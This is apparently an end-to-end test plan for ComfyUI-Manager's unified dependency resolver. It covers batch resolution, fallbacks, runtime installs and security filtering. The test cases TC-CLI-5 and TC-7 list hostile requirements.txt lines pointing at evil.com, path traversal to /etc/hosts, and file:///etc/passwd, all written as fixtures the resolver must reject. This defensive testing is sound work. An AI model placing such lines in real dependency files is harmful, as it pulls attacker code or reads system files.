|
||||
|
||||
## API Reference (for Runtime Tests)
|
||||
|
||||
Node pack installation at runtime uses the task queue API:
|
||||
|
||||
```
|
||||
POST http://localhost:8199/v2/manager/queue/task
|
||||
Content-Type: application/json
|
||||
```
|
||||
|
||||
> **Port**: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.
|
||||
|
||||
**Payload** (`QueueTaskItem`):
|
||||
|
||||
| Field | Type | Description |
|
||||
|-------|------|-------------|
|
||||
| `ui_id` | string | Unique task identifier (any string) |
|
||||
| `client_id` | string | Client identifier (any string) |
|
||||
| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
|
||||
| `params` | object | Operation-specific parameters (see below) |
|
||||
|
||||
**Install params** (`InstallPackParams`):
|
||||
|
||||
| Field | Type | Description |
|
||||
|-------|------|-------------|
|
||||
| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
|
||||
| `version` | string | Required by model. Set to same value as `selected_version`. |
|
||||
| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
|
||||
| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
|
||||
| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |
|
||||
|
||||
> **Note**: `cm_cli` supports unified resolver via `cm_cli uv-compile` (standalone) and
|
||||
> `cm_cli install --uv-compile` (install-time batch resolution). Without `--uv-compile`,
|
||||
> installs use per-node pip via `legacy/manager_core.py`.
|
||||
|
||||
---
|
||||
|
||||
## Out of Scope (Deferred)
|
||||
|
||||
The following are intentionally **not tested** in this version:
|
||||
|
||||
- **cm_global integration (startup path only)**: At startup (`prestartup_script.py`), `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global at startup is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in startup unified mode. Note: `cm_cli uv-compile` and `cm_cli install --uv-compile` already pass real `cm_global` values (see PRD Future Extensions).
|
||||
- **cm_cli per-node install (without --uv-compile)**: `cm_cli install` without `--uv-compile` imports from `legacy/manager_core.py` and uses per-node pip install. This is by design — use `cm_cli install --uv-compile` or `cm_cli uv-compile` for batch resolution.
|
||||
- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.
|
||||
|
||||
## CLI E2E Tests (`cm_cli uv-compile`)
|
||||
|
||||
These tests do **not** require ComfyUI server. Only a venv with `COMFYUI_PATH` set and
|
||||
the E2E environment from `setup_e2e_env.sh` are needed.
|
||||
|
||||
**Common setup**:
|
||||
```bash
|
||||
source tests/e2e/scripts/setup_e2e_env.sh # → E2E_ROOT=...
|
||||
export COMFYUI_PATH="$E2E_ROOT/comfyui"
|
||||
VENV_PY="$E2E_ROOT/venv/bin/python"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-1: Normal Batch Resolution [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a test node pack with a simple dependency:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/test_cli_pack"
|
||||
echo "chardet>=5.0" > "$COMFYUI_PATH/custom_nodes/test_cli_pack/requirements.txt"
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `Resolved N deps from M source(s)`
|
||||
- `chardet` is importable: `$VENV_PY -c "import chardet"`
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_cli_pack"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-2: No Custom Node Packs [P1]
|
||||
|
||||
**Steps**:
|
||||
1. Ensure `custom_nodes/` contains no node packs (only symlinks like `ComfyUI-Manager`
|
||||
or empty dirs may remain)
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `No custom node packs found` OR `Resolution complete (no deps needed)`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-3: uv Unavailable [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a temporary venv **without** uv:
|
||||
```bash
|
||||
python3 -m venv /tmp/no_uv_venv
|
||||
/tmp/no_uv_venv/bin/pip install comfyui-manager # or install from local
|
||||
```
|
||||
2. Ensure no standalone `uv` in PATH:
|
||||
```bash
|
||||
PATH="/tmp/no_uv_venv/bin" COMFYUI_PATH="$COMFYUI_PATH" \
|
||||
/tmp/no_uv_venv/bin/python -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 1
|
||||
- Output contains: `uv is not available`
|
||||
|
||||
**Cleanup**: `rm -rf /tmp/no_uv_venv`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-4: Conflicting Dependencies [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create two node packs with conflicting pinned versions:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_a"
|
||||
echo "numpy==1.24.0" > "$COMFYUI_PATH/custom_nodes/conflict_a/requirements.txt"
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_b"
|
||||
echo "numpy==1.26.0" > "$COMFYUI_PATH/custom_nodes/conflict_b/requirements.txt"
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 1
|
||||
- Output contains: `Resolution failed`
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/conflict_a" "$COMFYUI_PATH/custom_nodes/conflict_b"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-5: Dangerous Pattern Skip [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a node pack mixing valid and dangerous lines:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/test_dangerous"
|
||||
cat > "$COMFYUI_PATH/custom_nodes/test_dangerous/requirements.txt" << 'EOF'
|
||||
chardet>=5.0
|
||||
-r ../../../etc/hosts
|
||||
--find-links http://evil.com/pkgs
|
||||
requests>=2.28
|
||||
EOF
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `Resolved 2 deps` (chardet + requests, dangerous lines skipped)
|
||||
- `chardet` and `requests` are importable
|
||||
- Log contains: `rejected dangerous line` for the `-r` and `--find-links` lines
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_dangerous"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-6: install --uv-compile Single Pack [P0]
|
||||
|
||||
**Steps**:
|
||||
1. In clean E2E environment, install a single node pack:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli install comfyui-impact-pack --uv-compile --mode remote
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Per-node pip install does NOT run (no `Install: pip packages` in output)
|
||||
- `install.py` still executes
|
||||
- Output contains: `Resolved N deps from M source(s)`
|
||||
- Impact Pack dependencies are importable: `cv2`, `skimage`, `dill`, `scipy`, `matplotlib`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-7: install --uv-compile Multiple Packs [P0]
|
||||
|
||||
**Steps**:
|
||||
1. After TC-CLI-6 (or with impact-pack already installed), install two more packs at once:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli install comfyui-impact-subpack comfyui-inspire-pack --uv-compile --mode remote
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Both packs installed: `[INSTALLED] comfyui-impact-subpack`, `[INSTALLED] comfyui-inspire-pack`
|
||||
- Batch resolution runs once (not twice) after all installs complete
|
||||
- Resolves deps for **all** installed packs (impact + subpack + inspire + manager)
|
||||
- New dependencies importable: `cachetools`, `webcolors`, `piexif`
|
||||
- Previously installed deps (from step 1) remain intact
|
||||
|
||||
---
|
||||
|
||||
## Test Fixture Setup
|
||||
|
||||
Each TC that requires node packs should use isolated, deterministic fixtures:
|
||||
|
||||
```bash
|
||||
# Create test node pack
|
||||
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
|
||||
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"
|
||||
|
||||
# Cleanup after test
|
||||
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
|
||||
```
|
||||
|
||||
Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.
|
||||
|
||||
---
|
||||
|
||||
## TC-1: Normal Batch Resolution [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`
|
||||
|
||||
**Steps**:
|
||||
1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
|
||||
2. Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
|
||||
[UnifiedDepResolver] running: ... uv pip compile ...
|
||||
[UnifiedDepResolver] running: ... uv pip install ...
|
||||
[UnifiedDepResolver] startup batch resolution succeeded
|
||||
```
|
||||
|
||||
**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)
|
||||
|
||||
---
|
||||
|
||||
## TC-2: Disabled State (Default) [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = false` or key absent from config.ini
|
||||
|
||||
**Steps**: Start ComfyUI
|
||||
|
||||
**Verify**: No `[UnifiedDepResolver]` log output at all
|
||||
|
||||
---
|
||||
|
||||
## TC-3: Fallback When uv Unavailable [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, uv completely unavailable
|
||||
|
||||
**Steps**:
|
||||
1. Create a venv **without** uv installed (`uv` package not in venv)
|
||||
2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
|
||||
3. Start ComfyUI
|
||||
|
||||
```bash
|
||||
# Reliable uv removal: both module and binary must be absent
|
||||
uv pip uninstall uv
|
||||
# Verify neither path works
|
||||
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
|
||||
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Subsequent node pack installations use per-node pip install normally
|
||||
|
||||
---
|
||||
|
||||
## TC-4: Fallback on Compile Failure [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, conflicting dependencies
|
||||
|
||||
**Steps**:
|
||||
1. Node pack A `requirements.txt`: `numpy==1.24.0`
|
||||
2. Node pack B `requirements.txt`: `numpy==1.26.0`
|
||||
3. Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install normally
|
||||
|
||||
---
|
||||
|
||||
## TC-5: Fallback on Install Failure [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails
|
||||
|
||||
**Steps**:
|
||||
1. Create node pack with `requirements.txt`: `numpy<2`
|
||||
2. Force install failure by making the venv's `site-packages` read-only:
|
||||
```bash
|
||||
chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
|
||||
```
|
||||
3. Start ComfyUI
|
||||
4. After test, restore permissions:
|
||||
```bash
|
||||
chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
|
||||
```
|
||||
> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install
|
||||
|
||||
---
|
||||
|
||||
## TC-6: install.py Execution Preserved [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded
|
||||
|
||||
**Steps**:
|
||||
1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-installpy",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id-with-install-py>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
|
||||
> Alternatively, use the Manager UI to install the same pack.
|
||||
|
||||
2. Check logs after installation
|
||||
|
||||
**Verify**:
|
||||
- `Install: install script` is printed (install.py runs immediately during install)
|
||||
- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
|
||||
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
|
||||
- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)
|
||||
|
||||
---
|
||||
|
||||
## TC-7: Dangerous Pattern Rejection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Include any of the following in a node pack's `requirements.txt`:
|
||||
```
|
||||
-r ../../../etc/hosts
|
||||
--requirement secret.txt
|
||||
-e git+https://evil.com/repo
|
||||
--editable ./local
|
||||
-c constraint.txt
|
||||
--constraint external.txt
|
||||
--find-links http://evil.com/pkgs
|
||||
-f http://evil.com/pkgs
|
||||
evil_pkg @ file:///etc/passwd
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] rejected dangerous line: '...' from <path>
|
||||
```
|
||||
|
||||
**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally
|
||||
|
||||
---
|
||||
|
||||
## TC-8: Path Separator Rejection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Node pack `requirements.txt`:
|
||||
```
|
||||
../evil/pkg
|
||||
bad\pkg
|
||||
./local_package
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] rejected path separator: '...' from <path>
|
||||
```
|
||||
|
||||
**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally
|
||||
|
||||
---
|
||||
|
||||
## TC-9: --index-url / --extra-index-url Separation [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
Test all four inline forms:
|
||||
|
||||
| # | `requirements.txt` content | Expected package | Expected URL |
|
||||
|---|---------------------------|-----------------|--------------|
|
||||
| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
|
||||
| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
|
||||
| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
|
||||
| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
|
||||
|
||||
**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)
|
||||
|
||||
**Verify**:
|
||||
- Package spec is correctly extracted (or empty for standalone lines)
|
||||
- URL is passed as `--extra-index-url` to `uv pip compile`
|
||||
- Duplicate URLs across multiple node packs are deduplicated
|
||||
- Log: `[UnifiedDepResolver] extra-index-url: <url>`
|
||||
|
||||
---
|
||||
|
||||
## TC-10: Credential Redaction [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Node pack `requirements.txt`:
|
||||
```
|
||||
private-pkg --index-url https://user:token123@pypi.private.com/simple
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `user:token123` does NOT appear in logs
|
||||
- Masked as `****@` in log output
|
||||
|
||||
---
|
||||
|
||||
## TC-11: Disabled Node Packs Excluded [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Test both disabled styles:
|
||||
1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
|
||||
2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
|
||||
3. Start ComfyUI
|
||||
|
||||
**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)
|
||||
|
||||
---
|
||||
|
||||
## TC-12: No Dependencies [P2]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`
|
||||
|
||||
**Steps**: Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] No dependencies to resolve
|
||||
```
|
||||
|
||||
**Verify**: Compile/install steps are skipped; startup completes normally
|
||||
|
||||
---
|
||||
|
||||
## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup
|
||||
|
||||
**Steps**:
|
||||
1. Start ComfyUI and confirm batch resolution succeeds
|
||||
2. While ComfyUI is running, install a new node pack via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-defer-1",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
|
||||
> Alternatively, use the Manager UI to install a node pack.
|
||||
|
||||
3. Check logs after installation
|
||||
|
||||
**Verify**:
|
||||
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
|
||||
- `Install: pip packages` does NOT appear
|
||||
- After ComfyUI **restart**, the new node pack's deps are included in batch resolution
|
||||
|
||||
---
|
||||
|
||||
## TC-14: Both Unified Resolver Code Paths [P0]
|
||||
|
||||
Verify both code locations that guard per-node pip install behave correctly in unified mode:
|
||||
|
||||
| Path | Guard Variable | Trigger | Location |
|
||||
|------|---------------|---------|----------|
|
||||
| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
|
||||
| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |
|
||||
|
||||
> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).
|
||||
|
||||
**Steps**:
|
||||
|
||||
**Path 1 — Runtime API install (class method)**:
|
||||
```bash
|
||||
# While ComfyUI is running:
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-path1",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
> Choose a CNR node pack that has both `install.py` and `requirements.txt`.
|
||||
|
||||
**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
|
||||
1. Create a test node pack with both `install.py` and `requirements.txt`:
|
||||
```bash
|
||||
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
|
||||
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
|
||||
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
|
||||
```
|
||||
2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
|
||||
```bash
|
||||
SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
|
||||
mkdir -p "$SCRIPTS_DIR"
|
||||
PYTHON_PATH=$(which python)
|
||||
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
|
||||
>> "$SCRIPTS_DIR/install-scripts.txt"
|
||||
```
|
||||
3. Start ComfyUI (with `use_unified_resolver = true`)
|
||||
|
||||
**Verify**:
|
||||
- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
|
||||
- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)
|
||||
|
||||
---
|
||||
|
||||
## TC-15: Behavior After Fallback in Same Process [P1]
|
||||
|
||||
**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)
|
||||
|
||||
**Steps**:
|
||||
1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
|
||||
2. While still running, install a new node pack via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-postfallback",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- New node pack uses per-node pip install (not deferred)
|
||||
- `Install: pip packages` appears normally
|
||||
- On next restart with conflicts resolved, unified resolver retries if config still `true`
|
||||
|
||||
---
|
||||
|
||||
## TC-16: Generic Exception Fallback [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`
|
||||
|
||||
This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.
|
||||
|
||||
**Steps**:
|
||||
1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
|
||||
```bash
|
||||
chmod a-r "$COMFY_ROOT/custom_nodes"
|
||||
```
|
||||
2. Start ComfyUI
|
||||
3. After test, restore permissions:
|
||||
```bash
|
||||
chmod u+r "$COMFY_ROOT/custom_nodes"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup error: ..., falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install normally
|
||||
- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)
|
||||
|
||||
---
|
||||
|
||||
## TC-17: Restart Dependency Detection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, automated E2E scripts available
|
||||
|
||||
This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.
|
||||
|
||||
**Steps**:
|
||||
1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
|
||||
2. Verify baseline deps only (Manager's own deps)
|
||||
3. Stop ComfyUI
|
||||
4. Clone `ComfyUI-Impact-Pack` into `custom_nodes/`
|
||||
5. Restart ComfyUI (Boot 2)
|
||||
6. Verify Impact Pack deps are installed (`cv2`, `skimage`, `dill`, `scipy`, `matplotlib`)
|
||||
7. Stop ComfyUI
|
||||
8. Clone `ComfyUI-Inspire-Pack` into `custom_nodes/`
|
||||
9. Restart ComfyUI (Boot 3)
|
||||
10. Verify Inspire Pack deps are installed (`cachetools`, `webcolors`)
|
||||
|
||||
**Expected log (each boot)**:
|
||||
```
|
||||
[UnifiedDepResolver] Collected N deps from M sources (skipped S)
|
||||
[UnifiedDepResolver] running: ... uv pip compile ...
|
||||
[UnifiedDepResolver] running: ... uv pip install ...
|
||||
[UnifiedDepResolver] startup batch resolution succeeded
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Boot 1: ~10 deps from ~10 sources; `cv2`, `dill`, `cachetools` are NOT installed
|
||||
- Boot 2: ~19 deps from ~18 sources; `cv2`, `skimage`, `dill`, `scipy`, `matplotlib` all importable
|
||||
- Boot 3: ~24 deps from ~21 sources; `cachetools`, `webcolors` also importable
|
||||
- Both packs show as loaded in logs
|
||||
|
||||
**Automation**: Use `tests/e2e/scripts/` (setup → start → stop) with node pack cloning between boots.
|
||||
|
||||
---
|
||||
|
||||
## TC-18: Real Node Pack Integration [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, network access to GitHub + PyPI
|
||||
|
||||
Full pipeline test with real-world node packs (`ComfyUI-Impact-Pack` + `ComfyUI-Inspire-Pack`) to verify the resolver handles production requirements.txt files correctly.
|
||||
|
||||
**Steps**:
|
||||
1. Set up E2E environment
|
||||
2. Clone both Impact Pack and Inspire Pack into `custom_nodes/`
|
||||
3. Direct-mode: instantiate `UnifiedDepResolver`, call `collect_requirements()` and `resolve_and_install()`
|
||||
4. Boot-mode: start ComfyUI and verify via logs
|
||||
|
||||
**Expected behavior (direct mode)**:
|
||||
```
|
||||
--- Discovered node packs (3) --- # Manager, Impact, Inspire
|
||||
ComfyUI-Impact-Pack
|
||||
ComfyUI-Inspire-Pack
|
||||
ComfyUI-Manager
|
||||
|
||||
--- Phase 1: Collect Requirements ---
|
||||
Total requirements: ~24
|
||||
Skipped: 1 # SAM2 git+https:// URL
|
||||
Extra index URLs: set()
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `git+https://github.com/facebookresearch/sam2.git` is correctly rejected with "rejected path separator"
|
||||
- All other dependencies are collected and resolved
|
||||
- After install, `cv2`, `PIL`, `scipy`, `skimage`, `matplotlib` are all importable
|
||||
- No conflicting version errors during compile
|
||||
|
||||
**Automation**: Use `tests/e2e/scripts/` (setup → clone packs → start) with direct-mode resolver invocation.
|
||||
|
||||
---
|
||||
|
||||
## Validated Behaviors (from E2E Testing)
|
||||
|
||||
The following behaviors were confirmed during manual E2E testing:
|
||||
|
||||
### Resolver Pipeline
|
||||
- **3-phase pipeline**: Collect → `uv pip compile` → `uv pip install` works end-to-end
|
||||
- **Incremental detection**: Resolver discovers new node packs on each restart without reinstalling existing deps
|
||||
- **Dependency deduplication**: Overlapping deps from multiple packs are resolved to compatible versions
|
||||
|
||||
### Security & Filtering
|
||||
- **`git+https://` rejection**: URLs like `git+https://github.com/facebookresearch/sam2.git` are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
|
||||
- **Blacklist filtering**: `PackageRequirement` objects have `.name`, `.spec`, `.source` attributes; `collected.skipped` returns `[(spec_string, reason_string)]` tuples
|
||||
|
||||
### Manager Integration
|
||||
- **Manager v4 endpoints**: All endpoints use `/v2/` prefix (e.g., `/v2/manager/queue/status`)
|
||||
- **`Blocked by policy`**: Expected when Manager is pip-installed and also symlinked in `custom_nodes/`; prevents legacy double-loading
|
||||
- **config.ini path**: Must be at `$COMFY_ROOT/user/__manager/config.ini`, not in the symlinked Manager dir
|
||||
|
||||
### Environment
|
||||
- **PYTHONPATH requirement**: `comfy` is a local package (not pip-installed); `comfyui_manager` imports from `comfy`, so both require `PYTHONPATH=$COMFY_ROOT`
|
||||
- **HOME isolation**: `HOME=$E2E_ROOT/home` prevents host config contamination during boot
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
| TC | P | Scenario | Key Verification |
|
||||
|----|---|----------|------------------|
|
||||
| 1 | P0 | Normal batch resolution | compile → install pipeline |
|
||||
| 2 | P1 | Disabled state | No impact on existing behavior |
|
||||
| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
|
||||
| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
|
||||
| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
|
||||
| 6 | P0 | install.py preserved | deps defer, install.py immediate |
|
||||
| 7 | P0 | Dangerous pattern rejection | Security filtering |
|
||||
| 8 | P0 | Path separator rejection | `/` and `\` in package names |
|
||||
| 9 | P0 | index-url separation | All 4 variants + dedup |
|
||||
| 10 | P0 | Credential redaction | Log security |
|
||||
| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
|
||||
| 12 | P2 | No dependencies | Empty pipeline |
|
||||
| 13 | P1 | Runtime install defer | Defer until restart |
|
||||
| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
|
||||
| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
|
||||
| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
